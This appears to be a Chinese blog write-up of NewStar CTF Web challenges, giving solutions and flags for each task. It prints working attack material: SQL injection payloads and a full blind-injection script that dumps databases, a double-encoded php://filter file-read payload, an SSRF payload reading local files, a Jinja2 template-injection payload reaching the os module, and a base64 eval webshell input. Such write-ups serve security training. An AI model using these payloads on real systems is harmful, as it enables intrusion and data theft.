跳到主要内容NewStar CTF Web 题目解析与解题思路 | 极客日志PHPNuct算法
NewStar CTF Web 题目解析与解题思路
Week 1 Multi-Headache3 **难度:简单** 使用 dirsearch 扫描目录: !image 找到 /robots.txt,访问: !image 访问 hidden.php: !image 翻译提示,按 F12 打开开发者工具捕获流量包,发现 flag: !image Strange_Login **难度:简单** 经典登录框,万能密码 admin' or 1=1 #: !…
山野诗人67K 浏览 Week 1
Multi-Headache3
难度:简单
使用 dirsearch 扫描目录:

找到 /robots.txt,访问:

访问 hidden.php:

翻译提示,按 F12 打开开发者工具捕获流量包,发现 flag:

flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051}
Strange_Login
难度:简单
经典登录框,万能密码 admin' or 1=1 #:

flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96}
宇宙的中心是 php
难度:简单
访问题目页面,习惯性使用 F12 或 Ctrl+U 无法查看源码,最后使用 Ctrl+Shift+I 打开开发者工具:

<?php highlight_file(__FILE__);include"flag.php";if(isset($_POST['newstar2025'])){$answer=$_POST['newstar2025'];if(intval($answer)!=47&&intval($answer,0)==47){echo$flag;}else{echo"你还未参透奥秘";}}
审计后发现,要求 POST 输入 newstar2025 的值满足:
intval($answer) (默认按十进制)不是 47。
intval($answer, 0) (自动判断进制)等于 47。
flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf}
黑客小 W 的故事(1)
第一个挑战:抓包发现 count 字段为 1,修改为 1000000:
第二关:看不懂,看提示,原来是需要 GET 传参 shipin,参数值为 mogubaozi:
这里 POST 要传入前文提到过的 guding:
这里需要使用 DELETE 方法传入 chongzi,截取改包:
访问 /Level2_END,第三关:与 HTTP 协议有关。根据提示,修改 UA 头,还需要升级版本。
flag{9fef7934-2c71-4225-813d-849df714c8fa}
我真得控制你了
审计 JS 代码,为了绕过 JS 限制,在浏览器 Console 里运行:
document.getElementById('nextLevelForm').submit();
成功绕过,来到下一关,这一关提示弱口令,尝试了几个弱口令成功登入:admin/111111。
<?phperror_reporting(0);functiongenerate_dynamic_flag($secret){returngetenv("ICQ_FLAG")?:'default_flag';}if(isset($_GET['newstar'])){$input=$_GET['newstar'];if(is_array($input)){die("恭喜掌握新姿势");}if(preg_match('/[^\d*\/~()\s]/',$input)){die("老套路了,行不行啊");}if(preg_match('/^[\d\s]+$/',$input)){die("请输入有效的表达式");}$test=0;try{ @eval("\$test = $input;");}catch(Error$e){die("表达式错误");}if($test==2025){$flag=generate_dynamic_flag($flag_secret);echo"<div>拿下 flag!</div>";echo"<div><div>FLAG: {$flag}</div></div>";}else{echo"<div>大哥哥泥把数字算错了:$test ≠ 2025</div>";}}else{?><?php }?>
- 允许的字符只有:
0-9, *, /, ~, (, ), 空白。
- 禁止纯数字/空白,所以必须包含至少一个运算符。
- 最终执行:
@eval("$test = $input;"),判断 $test == 2025。
因为 45 * 45 = 2025,且 * 属于允许字符,所以 payload 为:newstar=45*45。
flag{c6582a80-afdd-4ef9-8088-a15455bc30cf}
别笑,你也过不了第二关
score = 1000000;
endLevel();
flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14}
Week 2
DD 加速器
flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be}
搞点哦润吉吃吃橘
开局一个登录框,尝试弱口令无果,Ctrl+U 查看源代码,发现提示:

import requests
import re
import time
import sys
BASE = "https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000"
LOGIN_PATH = "/login"
START_PATH = "/start_challenge"
VERIFY_PATH = "/verify_token"
USERNAME = "Doro"
PASSWORD = "Doro_nJlPVs_%40123"
def login(session: requests.Session) -> bool:
url = BASE + LOGIN_PATH
session.headers.update({"Origin": BASE,"Referer": BASE + "/login","Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Sec-Fetch-Site":"same-origin","Sec-Fetch-Mode":"navigate","Sec-Fetch-User":"?1","Sec-Fetch-Dest":"document",})
data = f"username={USERNAME}&password={PASSWORD}"
resp = session.post(url, data=data, allow_redirects=False)
print("[login] status:", resp.status_code)
print("[login] headers:", resp.headers)
if "Set-Cookie" in resp.headers and "session=" in resp.headers["Set-Cookie"] and "Expires=Thu, 01 Jan 1970" not in resp.headers["Set-Cookie"]:
print("[login] 登录成功 ->", resp.headers["Set-Cookie"])
return True
print("[login] 登录失败,响应内容:", resp.text[:300])
return False
def fetch_challenge(session: requests.Session):
url = BASE + START_PATH
resp = session.post(url)
print("[start_challenge] status:", resp.status_code)
try:
data = resp.json()
except Exception as e:
print("[start_challenge] 无法解析为 JSON:", e)
print("Response body:", resp.text[:500])
return None
return data
def parse_and_compute_token(data: dict):
if "multiplier" in data or "xor_value" in data:
try:
multiplier = int(data.get("multiplier")) if data.get("multiplier") is not None else None
except Exception:
multiplier = None
xor_raw = data.get("xor_value")
xor_value = None
if xor_raw is not None:
try:
if isinstance(xor_raw, str) and xor_raw.lower().startswith("0x"):
xor_value = int(xor_raw, 16)
else:
xor_value = int(xor_raw)
except:
xor_value = None
expr = data.get("expression", "")
if "time.time" in expr or "int(time.time)" in expr:
tsource = int(time.time())
else:
m = None
if expr:
m = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
if m:
tsource = int(m.group(1))
else:
tsource = int(time.time())
if multiplier is None:
expr = data.get("expression", "")
m2 = re.search(r'\*\s*(\d+)\s*\)', expr)
if m2:
multiplier = int(m2.group(1))
if multiplier is None or xor_value is None:
raise ValueError("无法从响应中解析 multiplier 或 xor_value。data: {}".format(data))
token = (tsource * multiplier) ^ xor_value
return token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "fields_or_expr"}
expr = data.get("expression")
if not expr:
raise ValueError("响应既没有 'expression',也没有 'multiplier' / 'xor_value' 字段。data: {}".format(data))
if "time.time" in expr:
tsource = int(time.time())
else:
m_time = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
if m_time:
tsource = int(m_time.group(1))
else:
tsource = int(time.time())
m_mul = re.search(r'\*\s*(\d+)\s*\)', expr)
if not m_mul:
raise ValueError("无法从 expression 提取 multiplier。expr: {}".format(expr))
multiplier = int(m_mul.group(1))
m_xor = re.search(r'\^\s*(0x[0-9a-fA-F]+|\d+)', expr)
if not m_xor:
raise ValueError("无法从 expression 提取 xor_value。expr: {}".format(expr))
xor_raw = m_xor.group(1)
xor_value = int(xor_raw, 16) if xor_raw.lower().startswith("0x") else int(xor_raw)
token = (tsource * multiplier) ^ xor_value
return token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "expr"}
def submit_token(session: requests.Session, token):
url = BASE + VERIFY_PATH
payload = {"token": token}
resp = session.post(url, json=payload, headers={"Content-Type":"application/json"})
print("[verify_token] status:", resp.status_code)
try:
print("[verify_token] json:", resp.json())
except Exception:
print("[verify_token] text:", resp.text[:1000])
return resp
def main():
s = requests.Session()
s.headers.update({"User-Agent":"auto-token-bot/1.0","Accept":"*/*",})
ok = login(s)
if not ok:
print("登录失败,停止。请检查用户名/密码或网络。")
return
data = fetch_challenge(s)
if data is None:
print("无法获取挑战数据,停止。")
return
print("challenge data:", data)
try:
token, info = parse_and_compute_token(data)
except Exception as e:
print("解析/计算 token 失败:", e)
return
print("计算得到 token =", token, "(详情:", info, ")")
resp = submit_token(s, token)
if __name__ == "__main__":
main()

flag{c596b46c-3c82-4416-9e70-538104015062}
白帽小 K 的故事(1)
确定上传成功,但是不知道为何无法利用,只能上传执行 phpinfo() 试试:
flag{741a9681-2e6c-4486-b767-557e907c8863}
小 E 的管理系统
防火墙过滤了空格,单引号,幸运的是其为数字型的报错注入:
发现没有 databases() 函数,猜测可能不是 MySQL 数据库,经过探测,确定是 SQLite:
这里是因为查询列数与显示不一样,所以报错,接下来探测列数:
-1 UNION select * FROM (SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT 2) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asqlite_version())%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asql%0afrom%0asqlite_master)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
发现有一个 sys_config 表,表内的字段为:id, config_key, config_value。
使用 select * from user_data。因为这里 , 被 ban 了,* 的话无法输出,只能挨个查询具体的值,最后使用:
-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(select%0aconfig_value%0afrom%0asys_config)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE
flag{1148f076-61cb-457a-818f-d910ef21b142}
真的是签到诶
<?phphighlight_file(__FILE__);$cipher=$_POST['cipher']??'';functionatbash($text){$result='';foreach(str_split($text)as$char){if(ctype_alpha($char)){$is_upper=ctype_upper($char);$base=$is_upper?ord('A'):ord('a');$offset=ord(strtolower($char))-ord('a');$new_char=chr($base+(25-$offset));$result.=$new_char;}else{$result.=$char;}}return$result;}if($cipher){$cipher=base64_decode($cipher);$encoded=atbash($cipher);$encoded=str_replace(' ','',$encoded);$encoded=str_rot13($encoded); @eval($encoded);exit;}$question="真的是签到吗?";$answer="真的很签到诶!";$res=$question."<br>".$answer."<br>";echo$res.$res.$res.$res.$res;?> 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶!
审计后发现,这是一个 Webshell 解码执行的题目,经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容,所以构造我们的 payload:
cipher (Base64 输入) ↓ base64_decode ↓ Atbash (字母翻转) ↓ 去掉空格 ↓ str_rot13 ↓ eval()
dW91dGlhKCJrbXRcMDQwL2hibWciKTs=
flag{8b3bf25f-b724-4f06-9197-ba25bd749249}
Week 3
ez-chain
<?phpheader('Content-Type: text/html; charset=utf-8');functionfilter($file){$waf=array('/',':','php','base64','data','zip','rar','filter','flag');foreach($wafas$waf_word){if(stripos($file,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}functionfilter_output($data){$waf=array('f');foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}while(true){$decoded=base64_decode($data,true);if($decoded===false||$decoded===$data){break;}$data=$decoded;}foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}if(isset($_GET['file'])){$file=$_GET['file'];if(filter($file)!==true){die();}$file=urldecode($file);$data=file_get_contents($file);if(filter_output($data)!==true){die();}echo$data;}highlight_file(__FILE__);?>
审计发现,漏洞点在 file_get_contents,可以使用伪协议进行任意文件读取,但是 WAF 限制了部分伪协议,并且要求读到的文件内容中不能带有 f 字样。
if(isset($_GET['file'])){$file=$_GET['file'];if(filter($file)!==true){die();}$file=urldecode($file);$data=file_get_contents($file);if(filter_output($data)!==true){die();}echo$data;}
functionfilter($file){$waf=array('/',':','php','base64','data','zip','rar','filter','flag');foreach($wafas$waf_word){if(stripos($file,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}
这里会不分大小写,匹配这些字符,如果匹配,程序退出,绕过这里,只需要 URL 双重编码即可。
接下来经过一次 URL 解码,执行 file_get_contents() 后,进入 filter_output()。
functionfilter_output($data){$waf=array('f');foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}while(true){$decoded=base64_decode($data,true);if($decoded===false||$decoded===$data){break;}$data=$decoded;}foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}
它会对读取文件的内容进行判断,匹配是否存在 f,也不区分大小写。然后,如果是被 base64 编码过的内容,就会循环解码,直到不能解码为止。
所以我们的思路很明确,利用 URL 双重编码使用 php://filter 伪协议读取文件内容,然后对文件内容先进行 rot13 编码读取 flag。
https://eci-2zeblwpcf451usd1p6ji.cloudeci1.ichunqiu.com:80/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37
flag{8847b675-528e-4ee8-aab6-ff3a854b53bc}
mygo!!!
扫描目录发现有 flag.php,但是直接访问是 403。
<?php$client_ip=$_SERVER['REMOTE_ADDR'];
审计一下,发现可以利用前面可转发的 SSRF 来绕过本地访问,剩下的伪协议直接出:
https://eci-2ze30n5xe2nckmepbw6d.cloudeci1.ichunqiu.com:80/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag
flag{a8fe31b5-aad7-4dc1-9bda-3e21daff103f}
小 E 的秘密计划
可以直接访问 public,进入到登录页面,已经提醒无法爆破,只能另寻他法。
进入到 public 目录下,发现存在 .git 文件夹,想到可能是考的 Git 泄露。
使用 git show --name-only commit 看到删除的提示:
<?phprequire_once'user.php';$userData=getUserData();if($_SERVER['REQUEST_METHOD']==='POST'){$username=$_POST['username']??'';$password=$_POST['password']??'';if($username===$userData['username']&&$password===$userData['password']){header('Location: /secret-xxxxxxxxxxxxxxxxxxx');exit();}else{echo'登录失败,在 git 里找找吧';exit();}}
账号密码都在 user.php 中,所以需要从 Git 中恢复 user.php。
在 .git/logs/HEAD 文件中发现其中隐含一个测试的 branch,会被删除。
git ls-tree -r --name-only 353b98f7c2fe77a5a426bf73576f5113820c4669
使用 git show commit -b 查看文件内容:
用户名密码为:admin/f75cc3eb-21e0-4713-9c30-998a8edb13de。
进入之后提示 Mac,所以是 .DS_Store 文件泄露,直接在当前路径拼接下载并查看内容:
拼接中间的 ffffllllaaaagggg114514,拿到 flag:
flag{e08813e1-a595-464c-85c5-67b474f83601}
mirror_gate
后端进行类型及文件内容的校验,所以只能看允许的文件内有没有可以解析的,先绕过内容检测:
对 <?php 有过滤,将允许的文件后缀挨个改包然后访问查看响应结果,发现 .webp 可以被解析:
flag{fd8af3ec-7983-4724-ad82-e3f84149346f}
who's sti
from flask import Flask, jsonify, request, render_template_string, render_template
import sys, random
func_List = ["get_close_matches", "dedent", "fmean", "listdir", "search", "randint", "load", "sum", "findall", "mean", "choice"]
need_List = random.sample(func_List, 5)
need_List = dict.fromkeys(need_List, 0)
BoleanFlag = False
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
__import__("os").environ["ICQ_FLAG"] = ""
def trace_calls(frame, event, arg):
if event == 'call':
func_name = frame.f_code.co_name
if func_name in need_List:
need_List[func_name] = 1
if all(need_List.values()):
global BoleanFlag
BoleanFlag = True
return trace_calls
app = Flask(__name__)
@app.route('/', methods=["GET", "POST"])
def index():
submit = request.form.get('submit')
if submit:
sys.settrace(trace_calls)
print(render_template_string(submit))
sys.settrace(None)
if BoleanFlag:
return jsonify({"flag": RealFlag})
return jsonify({"status": "OK"})
return render_template_string('''<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>首页</title>
</head>
<body>
<h1>提交你的代码,让后端看看你的厉害!</h1>
<form action="/" method="post">
<label for="submit">提交一下:</label>
<input type="text" name="submit" required>
<button type="submit">提交</button>
</form>
<div>
<p>尝试调用到这些函数!</p>
{% for func in funcList %}
<p>{{ func }}</p>
{% endfor %}
<div>
<p>你目前已经调用了 {{ called_funcs|length }} 个函数:</p>
<ul>
{% for func in called_funcs %}
<li>{{ func }}</li>
{% endfor %}
</ul>
</div>
</body>
<script>
</script>
</html>
''', funcList=need_List, called_funcs=[func for func, called in need_List.items() if called])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
{%set __imp =''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['__builtins__']['__import__']%}{%set _os = __imp('os')%}{%set _re = __imp('re')%}{%set _difflib = __imp('difflib')%}{%set _textwrap = __imp('textwrap')%}{%set _statistics = __imp('statistics')%}{%set _random = __imp('random')%}{%set _json = __imp('json')%}{%set _io = __imp('io')%}{# 通过 io.StringIO 提供一个可读的 JSON 文件对象,以便触发 json.load 的函数名 "load" #}{%set _f = _io.StringIO('"x"')%}{# 下面依次调用目标函数(尽量覆盖 need_List 里可能的名字) #}{%set a = _difflib.get_close_matches('a',['a'])%}{%set b = _textwrap.dedent(' x')%}{%set c = _statistics.fmean([1,2,3])%}{%set d = _os.listdir('.')%}{%set e = _re.search('a','a')%}{%set f = _random.randint(1,2)%}{%set g = _json.loads('"x"')%}{%set h = _json.load(_f)%}{%set i = _re.findall('.','a')%}{%set j = _statistics.mean([1,2])%}{%set k = _random.choice([1,2])%} Rendered.
flag{12c4c60d-6a52-4515-85a0-90052c4e6b2b}
白帽小 K 的故事(2)
盲注,通过字典 fuzz 之后发现,可以使用 () 来绕过对空格的过滤,这里给出自动化的脚本。
import requests
import time
import sys
import argparse
URL = "https://eci-2ze67tlhfafcfkym7tjr.cloudeci1.ichunqiu.com:80/search"
HEADERS = {"Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible)"}
PREFIX = "name=amiya'and("
SUFFIX = ")#"
TIMEOUT = 6
RETRIES = 2
SLEEP = 0.03
DEBUG = False
SPACE_BYPASS = False
SPACE_REPLACEMENT = "/**/"
def send_payload_raw(cond):
if SPACE_BYPASS:
cond = cond.replace(" ", SPACE_REPLACEMENT)
payload = f"{PREFIX}{cond}{SUFFIX}"
last_exc = None
for attempt in range(RETRIES + 1):
try:
if DEBUG:
print(f"[DBG] -> {payload}")
resp = requests.post(URL, data=payload, headers=HEADERS, timeout=TIMEOUT)
try:
return resp.json()
except Exception:
return resp.text
except requests.exceptions.RequestException as e:
last_exc = e
if DEBUG:
print(f"[WARN] 请求异常:{e} (尝试 {attempt+1}/{RETRIES+1})")
time.sleep(1)
if DEBUG:
print("[ERROR] 所有重试失败:", last_exc)
return None
def is_true_response(resp):
if resp is None:
return False
if isinstance(resp, dict):
status = str(resp.get("status", "")).lower()
message = str(resp.get("message", "")).lower()
if status == "ok" and "found" in message:
return True
if status == "error" and "not found" in message:
return False
txt = str(resp)
if "Found" in txt:
return True
if "Not Found" in txt:
return False
if DEBUG:
print("[DBG] 未能解析响应:", txt[:400].replace("\n", "\\n"))
return False
def check_condition(cond):
resp = send_payload_raw(cond)
return is_true_response(resp)
def binary_search_length(expr, max_upper=16384):
if DEBUG:
print(f"[DBG] binary_search_length expr={expr} max_upper={max_upper}")
low = 0
high = max_upper
while low < high:
mid = (low + high) // 2
cond = f"length(({expr}))>{mid}"
if DEBUG:
print(f"[DBG] length check: {cond}")
if check_condition(cond):
low = mid + 1
else:
high = mid
time.sleep(SLEEP)
length = low
if DEBUG:
print(f"[DBG] length -> {length}")
return length
def extract_string_by_binary(expr, max_len=20000):
if DEBUG:
print(f"[DBG] extract_string_by_binary expr={expr} max_len={max_len}")
result = ""
for pos in range(1, max_len + 1):
null_cond = f"ascii(substr(({expr}),{pos},1))=0"
if check_condition(null_cond):
if DEBUG:
print(f"[DBG] pos {pos} is NULL -> stop")
break
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
cond = f"ascii(substr(({expr}),{pos},1))>{mid}"
if check_condition(cond):
low = mid + 1
else:
high = mid - 1
time.sleep(SLEEP)
ascii_val = low
if ascii_val < 32 or ascii_val > 126:
if DEBUG:
print(f"[DBG] pos {pos} ascii out of range: {ascii_val} -> stop")
break
ch = chr(ascii_val)
result += ch
sys.stdout.write(f"\r[+] pos={pos} -> '{ch}' current_len={len(result)}")
sys.stdout.flush()
print(f"\n[+] 提取完成:len={len(result)}")
return result
def extract_group_concat_list(expr, max_len_guess=16384, sep=':'):
length = binary_search_length(expr, max_len_guess)
if length == 0:
return []
s = extract_string_by_binary(expr, length)
items = [x for x in s.split(sep) if x != '']
return items
def list_all_databases():
expr = "select(group_concat(concat(schema_name,0x3a)))from(information_schema.schemata)"
return extract_group_concat_list(expr, max_len_guess=4096, sep=':')
def list_tables_for_schema(schema_name):
expr = f"select(group_concat(concat(table_name,0x3a)))from(information_schema.tables)where(table_schema)='{schema_name}'"
return extract_group_concat_list(expr, max_len_guess=8192, sep=':')
def list_columns_for_table(schema_name, table_name):
expr = f"select(group_concat(concat(column_name,0x3a)))from(information_schema.columns)where(table_schema)='{schema_name}'and(table_name)='{table_name}'"
return extract_group_concat_list(expr, max_len_guess=8192, sep=':')
def dump_table_data(schema_name, table_name, columns=None, max_len_guess=20000):
if columns is None:
cols = list_columns_for_table(schema_name, table_name)
if not cols:
if DEBUG:
print(f"[WARN] 无法获取 {schema_name}.{table_name} 的列信息")
return "", []
else:
cols = columns
concat_parts = []
for i, c in enumerate(cols):
concat_parts.append(c)
if i != len(cols) - 1:
concat_parts.append("0x3a")
inner = ",".join(concat_parts)
expr = f"select(group_concat(concat({inner})))from({schema_name}.{table_name})"
length = binary_search_length(expr, max_len_guess)
if length == 0:
return "", []
s = extract_string_by_binary(expr, length)
rows = []
if s:
rows = [r for r in s.split(',') if r != '']
return s, rows
def parse_args():
p = argparse.ArgumentParser(description="无空格括号风格 布尔盲注 导出 Flag DB 脚本(用于授权靶场/本地 CTF)")
p.add_argument("--url", help="目标 URL(覆盖脚本内配置)", default=None)
p.add_argument("--schema", help="目标 schema 名(默认为 Flag)", default="Flag")
p.add_argument("--only-db", help="只列出数据库,不继续枚举表/列", action="store_true")
p.add_argument("--debug", help="开启调试", action="store_true")
return p.parse_args()
def main():
global URL, DEBUG
args = parse_args()
if args.url:
URL = args.url
if args.debug:
DEBUG = True
print("[*] 注意:请确认你对目标有授权(用户已确认为自己的靶场)")
print("[*] 目标 URL:", URL)
print("\n[*] Step 1: 枚举所有 database()(schema)")
dbs = list_all_databases()
if not dbs:
print("[WARN] 未能获取到任何 database,请检查目标或增加 max_len_guess")
return
print(f"[+] 共发现 {len(dbs)} 个 schema:")
for i, db in enumerate(dbs, 1):
print(f" [{i}] {db}")
if args.only_db:
return
target_schema = args.schema
print(f"\n[*] Step 2: 以 schema='{target_schema}' 作为目标,枚举表与列并尝试导出数据")
tables = list_tables_for_schema(target_schema)
if not tables:
print(f"[WARN] 在 schema '{target_schema}' 下未发现表或无权限")
return
print(f"[+] 在 schema '{target_schema}' 下发现 {len(tables)} 张表:")
for t in tables:
print(f"\n[>] 表:{t}")
cols = list_columns_for_table(target_schema, t)
if not cols:
print(" [WARN] 无法枚举列 或 表为空")
continue
print(f" [*] 列 ({len(cols)}): {', '.join(cols)}")
print(" [*] 尝试导出整表数据(可能被截断或受长度限制)...")
raw, rows = dump_table_data(target_schema, t, columns=cols)
if not raw:
print(" [WARN] 导出失败或为空")
continue
max_preview = 20
print(f" [*] 导出总长度:{len(raw)} 字符,预览前 {min(len(rows), max_preview)} 行:")
for i, r in enumerate(rows[:max_preview], 1):
print(f" ({i}) {r}")
if len(rows) > max_preview:
print(f" ... (共 {len(rows)} 行,已省略)")
print('\n[+] 导出尝试完成')
if __name__ == "__main__":
main()

flag{b2f00fa9-8d65-45ac-9193-8a852c4910fb}
相关免费在线工具
- 加密/解密文本
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
- Gemini 图片去水印
基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
- curl 转代码
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
- Base64 字符串编码/解码
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
- Base64 文件转换器
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
- Markdown转HTML
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online